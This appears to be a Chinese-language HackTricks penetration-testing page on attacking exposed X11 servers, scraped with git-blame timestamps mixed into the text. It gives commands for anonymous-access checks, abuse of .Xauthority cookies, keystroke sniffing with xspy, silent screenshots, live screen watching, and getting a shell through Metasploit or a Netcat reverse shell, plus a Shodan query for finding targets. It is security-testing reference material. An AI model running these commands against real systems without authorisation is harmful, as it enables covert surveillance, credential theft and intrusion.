2023-12-29 16:51:45 +00:00
|
|
|
|
# 6000 - Pentesting X11
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**黑客洞察**\
|
|
|
|
|
深入探讨黑客的刺激和挑战
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**实时黑客新闻**\
|
|
|
|
|
通过实时新闻和洞察,跟上快节奏的黑客世界
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**最新公告**\
|
|
|
|
|
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**在**[**Discord**](https://discord.com/invite/N3FrSbmwdy)上**加入我们**,今天就开始与顶尖黑客合作!
|
2022-11-05 09:07:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 基本信息
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
X Window System(又名X)是位图显示的窗口系统,常见于基于UNIX的操作系统。X提供了基于GUI环境的基本框架。X也不强制用户界面 - 由各个程序处理。\
|
2023-08-03 19:12:22 +00:00
|
|
|
|
来源:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**默认端口:** 6000
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
PORT STATE SERVICE
|
|
|
|
|
6000/tcp open X11
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 枚举
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
检查**匿名连接:**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
nmap -sV --script x11-access -p <PORT> <IP>
|
|
|
|
|
msf> use auxiliary/scanner/x11/open_x11
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 本地枚举
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
用户主文件夹中的 **`.Xauthority`** 文件被 **X11 用于授权**。来自[**这里**](https://stackoverflow.com/a/37367518):
|
|
|
|
|
```bash
|
|
|
|
|
$ xxd ~/.Xauthority
|
|
|
|
|
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
|
|
|
|
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
|
|
|
|
|
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
|
|
|
|
00000030: 041d ef ...
|
|
|
|
|
```
|
|
|
|
|
> MIT-magic-cookie-1:生成128位的密钥(“cookie”),存储在\~/.Xauthority(或XAUTHORITY环境变量指向的位置)。客户端明文发送它给服务器!服务器检查是否有这个“cookie”的副本,如果有,连接就被允许。密钥由DMX生成。
|
2023-04-07 00:41:31 +00:00
|
|
|
|
|
|
|
|
|
{% hint style="warning" %}
|
2023-12-29 16:51:45 +00:00
|
|
|
|
为了**使用cookie**,你应该设置环境变量:**`export XAUTHORITY=/path/to/.Xauthority`**
|
2023-04-07 00:41:31 +00:00
|
|
|
|
{% endhint %}
|
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
#### 本地枚举会话
|
|
|
|
|
```bash
|
|
|
|
|
$ w
|
|
|
|
|
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
|
|
|
|
|
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
|
|
|
|
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
|
|
|
|
|
```
|
|
|
|
|
在示例中,`localhost:0` 正在运行 xfce4-session。
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 验证连接
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
xdpyinfo -display <ip>:<display>
|
|
|
|
|
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 键盘记录
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
使用 [xspy](http://tools.kali.org/sniffingspoofing/xspy) 来嗅探键盘敲击。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
示例输出:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
xspy 10.9.xx.xx
|
|
|
|
|
|
|
|
|
|
opened 10.9.xx.xx:0 for snoopng
|
|
|
|
|
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
|
|
|
|
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
|
|
|
|
```
|
2023-12-29 16:51:45 +00:00
|
|
|
|
## 截屏捕获
|
2023-08-03 19:12:22 +00:00
|
|
|
|
```bash
|
|
|
|
|
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
|
|
|
|
convert screenshot.xwd screenshot.png
|
|
|
|
|
```
|
|
|
|
|
## 远程桌面查看
|
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
来源于:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
2023-08-03 19:12:22 +00:00
|
|
|
|
```
|
|
|
|
|
./xrdp.py <IP:0>
|
|
|
|
|
```
|
2023-12-29 16:51:45 +00:00
|
|
|
|
```markdown
|
|
|
|
|
来自:[https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
首先我们需要使用xwininfo找到窗口的ID
|
|
|
|
|
```
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
xwininfo -root -display 10.9.xx.xx:0
|
|
|
|
|
|
|
|
|
|
xwininfo: Window id: 0x45 (the root window) (has no name)
|
|
|
|
|
|
|
|
|
|
Absolute upper-left X: 0
|
|
|
|
|
Absolute upper-left Y: 0
|
|
|
|
|
Relative upper-left X: 0
|
|
|
|
|
Relative upper-left Y: 0
|
|
|
|
|
Width: 1024
|
|
|
|
|
Height: 768
|
|
|
|
|
Depth: 16
|
|
|
|
|
Visual: 0x21
|
|
|
|
|
Visual Class: TrueColor
|
|
|
|
|
Border width: 0
|
|
|
|
|
Class: InputOutput
|
|
|
|
|
Colormap: 0x20 (installed)
|
|
|
|
|
Bit Gravity State: ForgetGravity
|
|
|
|
|
Window Gravity State: NorthWestGravity
|
|
|
|
|
Backing Store State: NotUseful
|
|
|
|
|
Save Under State: no
|
|
|
|
|
Map State: IsViewable
|
|
|
|
|
Override Redirect State: no
|
|
|
|
|
Corners: +0+0 -0+0 -0-0 +0-0
|
|
|
|
|
-geometry 1024x768+0+0
|
|
|
|
|
```
|
|
|
|
|
**XWatchwin**
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
对于**实时查看**,我们需要使用
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
|
|
|
|
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 获取Shell
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
msf> use exploit/unix/x11/x11_keyboard_exec
|
|
|
|
|
```
|
2023-12-29 16:51:45 +00:00
|
|
|
|
其他方式:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**反向 Shell:** Xrdp 也允许通过 Netcat 获取反向 Shell。输入以下命令:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-02-06 12:02:47 +00:00
|
|
|
|
**./xrdp.py \<IP:0> –no-disp**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
![](../.gitbook/assets/112217_0051_ExploitingX15.jpeg)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
它将提示一个新的控制面板,我们可以在其中看到 R-shell 选项,如下所示:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
![](../.gitbook/assets/112217_0051_ExploitingX16.jpeg)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
我们将在本地系统上的端口 5555 启动 Netcat 监听模式,如下所示:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
![](../.gitbook/assets/112217_0051_ExploitingX17.jpeg)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
然后添加 IP 和端口,然后选择 R-Shell,如下所示:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
![](../.gitbook/assets/112217_0051_ExploitingX18.jpeg)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
现在如下所示,我们拥有了完整的系统访问权限:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
![](../.gitbook/assets/112217_0051_ExploitingX19.jpeg)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
|
2020-09-24 20:01:29 +00:00
|
|
|
|
|
2023-03-05 19:54:13 +00:00
|
|
|
|
## Shodan
|
2020-09-24 20:01:29 +00:00
|
|
|
|
|
|
|
|
|
* `port:6000 x11`
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
2022-11-05 09:07:43 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**黑客洞察**\
|
|
|
|
|
深入探讨黑客的刺激和挑战
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**实时黑客新闻**\
|
|
|
|
|
通过实时新闻和洞察,跟上快节奏的黑客世界
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**最新公告**\
|
|
|
|
|
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
2022-11-05 09:07:43 +00:00
|
|
|
|
|
2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-29 16:51:45 +00:00
|
|
|
|
* 你在**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
|
|
|
|
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注我。**
|
|
|
|
|
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|